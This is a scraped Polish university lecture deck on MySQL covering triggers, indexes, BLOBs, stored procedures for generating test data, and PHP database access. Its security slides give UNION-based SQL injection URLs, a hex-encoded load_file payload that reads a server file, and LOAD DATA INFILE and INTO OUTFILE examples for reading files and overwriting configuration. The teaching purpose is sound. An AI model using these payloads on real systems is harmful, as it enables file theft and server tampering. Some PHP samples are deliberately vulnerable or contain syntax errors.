bazy danych wykład 7 wojciech st. mościbrodzki wojmos@wojmos

Post on 07-Jan-2016

33 Views

Category:

Documents

3 Downloads

Preview:

Click to see full reader

DESCRIPTION

Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos.com. TRIGGER – specyficzna stored procedure. TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99. - PowerPoint PPT Presentation

TRANSCRIPT

Bazy DanychWykład 7Wojciech St. Mościbrodzkiwojmos@wojmos.com

TRIGGER – specyficzna stored procedureTRIGGER – specyficzna stored procedure

+----------------+| imie |+----------------+|Jan ||Tadeusz ||Piotr ||Kacper |+----------------+

TRIGGER – funkcja składowana wywoływana automatycznie, przez serwer po zaistnieniu pewnego zdarzenia

TRIGGER (wyzwalacz) jest więc swego rodzaju event guardianem obiekt standardowy SQL99

mysql> insert into imie values ('Czesio')

update licznik set imie_ile=select count(*) from imie

Klasyfikacja TRIGGERÓWKlasyfikacja TRIGGERÓW

Triggery (wyzwalacze) możemy podzielić: według kryterium czasu:

• triggery BEFORE• triggery AFTER• triggery INSTEAD OF (rzadko implementowane)

według kryterium rodzaju operacji (związek z type operacji, a nie poleceniem!)• triggery ON INSERT (działa także w przypadku LOAD DATA)• triggery ON DELETE• triggery ON UPDATE

według kryterium obiektu strzeżonego• triggery modyfikacji danych• triggery modyfikacji struktury (trigger ALTER, DROP)• triggery eventowe (trigger LOGIN)

Budowa TRIGGERABudowa TRIGGERA

Ogólna postać:CREATE [DEFINER = { user | CURRENT_USER }] TRIGGER trigger_name

trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt

delimiter | CREATE TRIGGER testref BEFORE INSERT ON test1 FOR EACH ROW BEGIN UPDATE test4 SET b4 = b4 + 1 WHERE a4 = 3; END; | delimiter ;

Prawa (MySql): tworzenie triggerów wymaga praw TRIGGER dla danej tablicy (wcześniej: prawo

globalne SUPER)

obiekty NEW i OLDobiekty NEW i OLD

Obiekty przechowujące wartość poprzednią i nową:

delimiter |

CREATE TRIGGER moj1 AFTER UPDATE ON t1FOR EACH ROW BEGIN INSERT INTO history(z) values (CONCAT(OLD.liczba,'->',NEW.liczba)); END; |

delimiter ;

create table t1 (id int, auto_increment primary key, liczba int);create table historia (z char(100), stamp timestamp)

update t1 set liczba=2 where id=1;

insert into t1(liczba) values (222);

Obiekty OLD i NEWObiekty OLD i NEW

MySQL ułatwia wywołania obiektów poprzez nadanie im nazw

delimiter |

CREATE TRIGGER pensja_trigger BEFORE UPDATE ON pracownicy_table REFERENCING NEW ROW AS n, OLD ROW AS o FOR EACH ROW IF n.pensja <> o.pensja THEN --wykonaj odpowiednie działania; END IF;

delimiter ;

Bezpieczniejsze tworzenie triggerówBezpieczniejsze tworzenie triggerów

DROP TRIGGER IF EXISTS moj1;

delimiter |

CREATE TRIGGER moj1 AFTER UPDATE ON t1FOR EACH ROW BEGIN INSERT INTO history (zapis) values (3); END; |

delimiter ;

IndeksIndeks

Indeks jest pomocniczą strukturą nakładaną na tabelę (ściślej: kolumnę lub grupę kolumn), służącą polepszaniu efektywności wyszukiwania. Indeksy pogarszają efektywność operacji udpate, delete i insert.

CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type]

index_col_name: col_name [(length)] [ASC | DESC]

index_type: USING {BTREE | HASH}

Indeksy w MySQLIndeksy w MySQL

Silnik MySQL używa indeksów zwłaszcza do: Generowania wyników klauzuli WHERE Eliminowania krotek (DISTINCT) Generowania wyników JOIN (warto zadbać, aby indeksy były tego samego typu i

wielkości – co ma znaczenie przy indeksach tekstowych) Generowania agregatów MIN i MAX Do sortowania za pomocą ORDER BY

Uwaga: MySQL używa własnego algorytmu estymacji efektywności indeksów

Każdy klucz główny jest indeksowany

Indeksy typu HASH i indeksy typu B-TREEIndeksy typu HASH i indeksy typu B-TREE

Indeksy zbudowane na drzewach są bardziej elastyczne (dlatego są domyślnym typem)

Z uwagi na budowę, indeks typu HASH: Może pracować tylko dla porównań >= <= oraz = (ale za to jest bardzo szybki) Nie przyspiesza sortowania z użyciem ORDER BY (bo nie daje możliwości

"znalezienia następnego") Nie może ocenić ilości danych pomiędzy granicami wyszukiwania (BETWEEN) Indeksuje jedynie całą wartość klucza

TEXT i BLOBTEXT i BLOB

BLOB (Binary Large OBject) to typ danych służący do przechowywania dużych obiektów binarnych.

TEXT to duże obiekty tekstowe (używają charsetu!)

CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;

Projektowanie baz danych jako procesProjektowanie baz danych jako proces

ETAPY:

Ustalenie wymagań odbiorcy

Modelowanie konceptualne

Modelowanie logiczne

Modelowanie fizyczne

Realizacja bazy danych

Testowanie i walidacja

ProblemProblem

Mentalna percepcja świata rzeczywistego

Modelpojęciowy

Schemat relacyjnejstruktury danych

PROJEKT i kolokwiumPROJEKT i kolokwium

Kolokwium: 25 pytań – 45 minut, suma = 30 punktów pytania testowe + pytania otwarte na pewno będzie (...się można spodziewać):

• składnie: SELECT, UPDATE, INSERT, DELETE• zbudować zapytania do przedstawionego ERD• narysować prosty ERD (znaleźć błędy?)• poprawić ERD postaci normalne• JOIN – na 2 i 3 tablicach• tworzenie procedur i funkcji• zwracanie wartości • indeksy• najważniejsze funkcje SQL• OUTER/INNER/NATURAL• TRIGGER

BLOBBLOB

BLOB – przechowywanie dużych obiektów przechowuje duże dane binarne cztery podtypy:

• TINYBLOB: 2^8 bajtów• BLOB: 2^16 bajtów• MEDIUMBLOB: 2^24 bajtów• LONGBLOB: 2^32 bajtów

zasadniczo: BLOB=duży VARBINARY

CREATE TABLE picture (ID INTEGER AUTO_INCREMENT,IMAGE BLOB, PRIMARY KEY (ID)) ENGINE=InnoDB;

BLOB i obrazkiBLOB i obrazki

Dwie formy tworzenia multimedialnych baz: przechowywanie obiektów (BLOB)

• LOAD DATA / SELECT INTO OUTFILE:

przechowywanie referencji (nazwy)

LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name' INTO TABLE tbl_name [{FIELDS | COLUMNS} [TERMINATED BY 'string'] [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ]

SELECT ... INTO OUTFILE 'savefilename'

Operator UNIONOperator UNION

UNION jest operatorem do łączenia wyników 2+ selectów

SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | DISTINCT] SELECT ...]

UNION zakłada, że odpowiednie kolumny mają ten sam typ

(SELECT a FROM t1 WHERE a=10 AND B=1) UNION (SELECT a FROM t2 WHERE a=11 AND B=2) ORDER BY a LIMIT 10;

Możliwe jest stosowanie ORDER, SORT, LIMIT na całej unii:

Indeksy

+

Automatyczne wypełnianie tablic z użyciem procedur

Funkcja tworząca losowy ciąg znaków o zadanej długości

delimiter ;;drop function if exists rndtxt;

create function rndtxt(dlugosc int) returns text begin declare i int default dlugosc; declare result text default ''; declare znak char(1); while (i > 0) do set i = i - 1; set znak = char( floor(65 + RAND()*(91-65)) ); set result = concat(result, znak); end while; return result; end;;

delimiter ;

Funkcja tworząca losowego człowieka (imię) – 1/2create table imie(id int auto_increment primary key, wartosc char(30));

Funkcja tworząca losowego człowieka: (imie) – 2/2

create table sylaba (int id auto_increment primary key, wartosc char(5));insert into sylaba(wartosc) values ('ko');insert into sylaba(wartosc) values ('pa');insert into sylaba(wartosc) values ('fi');insert into sylaba(wartosc) values ('gu');insert into sylaba(wartosc) values ('ba');insert into sylaba(wartosc) values ('sza');insert into sylaba(wartosc) values ('tu');insert into sylaba(wartosc) values ('sa');insert into sylaba(wartosc) values ('ke');

Funkcja tworząca losowego człowieka: (nazwisko) – 1/2

CREATE FUNCTION imie() RETURNS CHAR(50) BEGIN DECLARE temp char(50); select wartosc into temp from imie order by rand() limit 1; set temp := concat(ucase(substring(temp,1,1)),substring(temp,2)); return temp; END;

Funkcja tworząca losowego człowieka: (nazwisko) – 2/2

drop function if exists nazwisko;delimiter ;;CREATE FUNCTION nazwisko(sylaby int) RETURNS CHAR(50) BEGIN DECLARE ile_sylab INT default sylaby; DECLARE nazwisko char(50) default ''; DECLARE temp char(5); while (ile_sylab>0) do select wartosc into temp from sylaba order by rand() limit 1; set nazwisko := concat(nazwisko,temp); set ile_sylab := ile_sylab - 1; end while; set nazwisko := concat(nazwisko,'cki'); set nazwisko := concat(ucase(substring(nazwisko,1,1)),substring(nazwisko,2)); return nazwisko; END;;;delimiter ;

Przygotowanie dużej tabelidrop table if exists czlowiek;create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255));

create procedure MakeCzlowiek() begin declare sylab int; declare dane int; set sylab := floor(2 + RAND()*(2-0)); set dane := floor(255 + RAND()*(255-100)); insert into czlowiek(imie, nazwisko, dane) select imie(), nazwisko(sylab), rndtxt(dane); end;

Przygotowanie dużej tabelidrop table if exists czlowiek;create table czlowiek (id int auto_increment primary key, imie varchar(50), nazwisko varchar(50), dane char(255));

drop procedure if exists MakeLudzie;delimiter ;;create procedure MakeLudzie(IN ile int) begin declare licznik int default ile; while (licznik > 0) do call MakeCzlowiek(); set licznik := licznik - 1; end while; end;;;delimiter ;

Przygotowanie dużej tabelidrop table if exists dane;create table dane (id int auto_increment primary key, dana1 char(255), dana2 char(255), dana3 char(255), dana4 char(255), dana5 varchar(50), dana6 char(255));

create procedure MakeDane(IN ile int) begin declare licznik int default ile; while (licznik > 0) do insert into dane(dana1, dana2, dana3, dana4, dana5, dana6) select rndtxt(rand()*200+10), rndtxt(rand()*250+100), rndtxt(rand()*100+50), rndtxt(rand()*250+200), rndtxt(rand()*200+100), rndtxt(rand()*250+10); set licznik := licznik - 1; end while; end;

Tabelka pośrednicząca:drop table if exists czldan;create table czldan (id_czl int, id_dan int);

create procedure MakeLink() begin declare id_czl int; declare id_dan int; select id into id_czl from czlowiek order by rand() limit 1; select id into id_dan from dane order by rand() limit 1; insert into czldan values (id_czl, id_dan); end;

create procedure MakeLinks(IN ile int) begin while (ile>0) do call MakeLink(); set ile = ile - 1; end while; end;

IndeksyIndeksy

Indeks jest strukturą bazy danych przeznaczoną do przyspieszania wyszukiwania

Indeksy: bezklastrowe (leksykony) klastrowe (skorowidze)

CREATE [UNIQUE|FULLTEXT|SPATIAL] INDEX index_name [index_type] ON tbl_name (index_col_name,...) [index_type]

index_col_name: col_name [(length)] [ASC | DESC] index_type: USING {BTREE | HASH | RTREE}

Działanie indeksówDziałanie indeksów

Trudne zapytania:select imie, nazwiskofrom czlowiek left outer join czldan on (czlowiek.id=czldan.id_czl)

left outer join dane on (czldan.id_dan=dane.id) order by dana5, nazwisko desc;

...156638 rows in set (1 min 43.33 sec)

create index ind1 on dane(dana5(5));create index ind2 on czldan(id_czl);create index ind3 on czldan(id_dan);create index ind4 on dane(dana5(50));

...156638 rows in set (4.15 sec)

Implementacja obsługi mySQL odbywa się w postaci natywnego API dla PHP: mysql, mysqli lub PDO

Alternatywą jest stosowanie Open Connectivity (np. ODBC):

Implementacja MySQL w PHPImplementacja MySQL w PHP

ODBC

mySQL mySQLi PDO

ODBC

PHP i MySQLPHP i MySQL

Konstrukcja dynamicznego HTML z szablonu w PHP i danych:

(my)SQL w PHP(my)SQL w PHP

Operacje na bazie przeprowadzane są przez handlery połączeń PHP zapewnia specjalny typ resource: połączenie z serwerem

MySQL connection

MySQL query

HTTP connection

mysql_connectmysql_connect

resource mysql_connect (

[ string $serwer

[, string $nazwa_użytkownika

[, string $hasło

[, bool $nowe_połączenie

[, int $flagi_klienta ]]]]]

)

Serwer, do jakiego łączymy

user

password

testowanie, jeśli już otwarte?

dodatki

Obsługa błędówObsługa błędów

MySQL wysyła błędy do PHP – mogą być one przechwycone:

int mysql_errno ([ resource $link ] )

string mysql_error ([ resource $link ] )

Typowa obsługa:

<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); if (!$link) {    die('Nie można się połaczyć: ' . mysql_error()); };?>

Wybór bazy danychWybór bazy danych

Wybranie połączenia z bazą (może być także – baza domyślna)

bool mysql_select_db ( string $nazwa_bazy [, resource $identyfikator_połączenia ] )

<?php $link = mysql_connect('localhost', ‘user', ‘pass') or die('Nie połączono: '.mysql_error()); };

$db_selected = mysql_select_db(‘moja1', $link); if (!$db_selected) {    die ('Nie można ustawić moja1: '.mysql_error()); };?>

Sprzątamy po zakończeniu pracySprzątamy po zakończeniu pracy

Dobrze napisany skrypt usuwa po sobie połączenie (choć nie jest to konieczne dla połączeń nie-stałych);

bool mysql_close ([ resource $link ] )

Dobry skrypt: otwórz-wybierz-query1-query2-…-queryN-zamknij

<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); mysql_select_db(‘moja_baza’); Query1; // jak – za chwilę Query2; // itd. close($link); ?>

Zapytania: typu result i typu execZapytania: typu result i typu exec

Zapytanie typu result zwraca JAKIŚ wynik (tabelę). Zapytania tego typu to: SELECT, DESCRIBE, EXPLAIN i SHOW

Zapytanie typu exec wykonuje się na bazie danych i zwraca jedynie status (true, albo false). Typowe zapytania to CREATE, DELETE, DROP i INSERT.

Oba typy zapytań obsługuje funkcja mysql_query.Dla zapytań result zwracany jest resource typu handler wyniku.Dla zapytań exec zwracany jest resource typu bool.

resource mysql_query ( string $query [, resource $link [, int $typ_wyniku ]] )

Treść zapytania

Handler połączenia (otwartego!)

Flagi (np. buforowanie)

Zapytania typu execZapytania typu exec

Zapytania takie mają prostą obsługę błędów:

<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = "insert into faktura values (‘N12943’)"; $result = mysql_query($query)    or die("Zapytanie niepoprawne:".mysql_error()); close($link); ?>

zwrócona wartość to TRUE lub FALSE

Dodatkowo, można sprawdzić, ile krotek uległo zmianie (DELETE!):

int mysql_affected_rows ([ resource $link ] )

int mysql_insert_id ([ resource $ link ] )

Zapytania typu resultZapytania typu result

Zapytania tego typu zwracają tabelę (jako handler wyniku) z danymi.Jest ona przetwarzana wolniej niż kursor SQL.

<?php $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = mysql_query("select * from faktura")    or die("Zapytanie niepoprawne:".mysql_error()); $dana = mysql_result($result,0,0); echo $dana; close($link); ?>

mixed mysql_result ( resource $wynik, int $wiersz [, mixed $pole ])

Wynik zwrócony przez mysql_query()

Który wiersz wyniku (numerowanie od 0)

Która kolumna wyniku (numerowanie od 0)

zwrócona wartość to handler tablicy

Kursor - Szybka forma przetwarzaniaKursor - Szybka forma przetwarzania

Funkcja mysql_fetch_row działa szybciej niż mysql_result

array mysql_fetch_row (resource $wynik)

mysql_query()

mysql_fetch_row()

mysql_data_seek()

bool mysql_data_seek (resource $wynik, int $nr)

mysql_num_rows()

int mysql_num_rows (resource $wynik) mysql_data_fields()

int mysql_num_fields (resource $wynik)

Obsługa kursora po stronie PHPObsługa kursora po stronie PHP

function DBArrayQuery($query) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $result = @mysql_query($query); $tablica = array(); $num_fields = mysql_num_fields($result); // kursor - X $num_rows = mysql_num_rows($result); // kursor - Y $nr_row = 0; while ($nr_row < $num_rows) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < $num_fields) { $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};

Obsługa praw dostępuObsługa praw dostępu

Autoryzacja za pomocą wielu użytkowników:

Autoryzacja za pomocą auth-usera:

database: mysql

database: mysql

database: moja

Typowe problemy:Typowe problemy:

function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query); mysql_close($link);};

...

DBInsert(‘Kowalski’);

Na stronach zbudowanych w oparciu o PHP często napotykamy na błędy przy wywołaniu takiej funkcji:

Dlaczego?

Typowe problemy:Typowe problemy:

function DBInsert($value) { $link = mysql_connect('localhost', ‘alex', ‘lipton'); $query = ”insert into pracownik (nazwisko) values ”; $query .= ”(‘”.$value.”’)”; @mysql_query($query);};DBInsert(” d`Artagnan ”);

Problemem jest fakt, że użytkownik lub autor skryptu może dopisać do zapytania łańcuchy zaburzające składnię SQL:

Aby tego uniknąć można zastosować funkcję ochronną:

insert into pracownik (nazwisko) values (’d’Artagnan’);

string mysql_escape_string ( string $łańcuch )

Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP

Etapy rozwiązywania problemu: Obsłużyć połączenie z bazą danych Wysłać zapytanie Odebrać rezultat i wpisać do tablicy dwuwymiarowej w PHP Opakować zawartość tablicy PHP w znaczniki HTML

function DBlink($db_base, $db_user, $db_pass) { $link = mysql_connect($db_host, $db_user, $db_pass) or die ('Cant access: ' . mysql_error()); mysql_select_db($db_base, $link); or die ('Cant switch to DB: ' . mysql_error()); return $link;};

Funkcja tworząca połączenie:

Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP

Funkcja wysyłająca zapytanie i odbierająca wynik:

function DBArrayQuery($query) { $link = DBlink(); $result = @mysql_query($query); $tablica = array(); $nr_row = 0; while ($nr_row < mysql_num_rows($result)) { $nr_field = 0; $curr_row = mysql_fetch_row($result); while ($nr_field < mysql_num_fields($result); ){ $tablica[$nr_row][$nr_field]=$curr_row[$nr_field]; $nr_field++; }; $nr_row++; };return $tablica;};

Tablica SQL w tabelce HTML dzięki tablicy PHPTablica SQL w tabelce HTML dzięki tablicy PHP

Funkcja obsługująca wynik w postaci HTML:

function HTMLize($tablica) { echo ”<TABLE BORDER=1>”; foreach ($tablica as $wiersz) { echo ”<TR>”; foreach ($wiersz as $komorka) { echo ”<TD>”. $komorka . ”</TD>”; }; echo ”</TD>”; };};

HTMLize(DBArrayQuery(”select name, ind from student”));

Program główny:

Uwagi o bezpieczeństwieUwagi o bezpieczeństwie

Najważniejsze przykazania: NIGDY nie pisz skryptów łączących się do bazy jako root (mysql) NIGDY nie uruchamiaj serwera bazy danych z konta superusera Nie dopuszczaj do wykonania komendy LOAD DATA INFILE z sieci Nie dopuszczaj do wykonania komendy SELECT INTO OUTFILE z sieci Nie pozwalaj na generowanie dowolnych SQLi przez użytkownika Uważaj na SQL injection attack

SQL Injection attack (UNION type):$query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];$result = mysql_result($query);

http://mojastrona.com/query.php?user=0

http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1,

1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

Atak typu UNION + LOAD FILEAtak typu UNION + LOAD FILE

W SQL łańcuch tekstowy można reprezentować jako jego wartości numeryczne. Na przykład:

'c:/boot.ini' jest równoznaczne z: 0x633a2f626f6f742e696e69 Skoro tak to można wykonać zapytanie

select 0x633a2f626f6f742e696e69

A więc można wpisać taki URL:

http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

I zobaczyć W PRZEGLĄDARCE:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N N N N N N N N N N N N N N N N N 1 1 1 1 1 1

Ataki typu DATA INFILE/DATA OUTFILEAtaki typu DATA INFILE/DATA OUTFILE

Ta metoda ataku wymaga dopuszczenia zapytań SQL podawanych przez klienta. Żeby obejrzeć plik z serwera wystarczy:

create table foo( line blob );load data infile 'c:/boot.ini' into table foo;select * from foo;

Ta metoda ataku pozwala (na niespatchowanym mysql) na podmianę plików konfiguracyjnych:

create table xxx( line text );insert into xxx values (”A to mój nowy plik konfiguracyjny”); select line from xxx into c:\mysql\mysql.cnf

Zarządzanie i administracja MySQL

mysqldumpmysqldump

Do przygotowywania zrzutów danych z serwera służy mysqldump

Programiku mysqldump używa się najczęściej z parametrami: -uuser – użytkownik (musi mieć odpowiednie prawa do bazy danych) -ppassword – hasło (warto otoczyć hasło cudzysłowami) --all-databases – jeśli chcemy archiwizować wszystkie bazy

Przykład:

mysqldump –uroot –p”taki;kera” bazatestowa

Zrzuty wykonuje się często do pliku tekstowego:

mysqldump –uroot –p”taki;kera” bazatestowa > zrzut.bazatestowa.sql

Wynik działania jest gotowym skryptem sql do wykorzystania

mysqldumpmysqldump

-- MySQL dump 10.11---- Host: localhost Database: poligon-- -------------------------------------------------------- Server version 5.0.77

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;/*!40101 SET NAMES utf8 */;/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;/*!40103 SET TIME_ZONE='+00:00' */;/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS,

FOREIGN_KEY_CHECKS=0*/;/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'

*/;/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

---- Table structure for table `user`--

DROP TABLE IF EXISTS `user`;SET @saved_cs_client = @@character_set_client;SET character_set_client = utf8;CREATE TABLE `user` ( `id` int(11) NOT NULL auto_increment, `imie` char(30) default NULL, `nazwisko` char(50) default NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;SET character_set_client = @saved_cs_client;

---- Dumping data for table `user`--

LOCK TABLES `user` WRITE;/*!40000 ALTER TABLE `user` DISABLE KEYS */;INSERT INTO `user` VALUES (1,'Jan','Kowalski');/*!40000 ALTER TABLE `user` ENABLE KEYS */;UNLOCK TABLES;/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

top related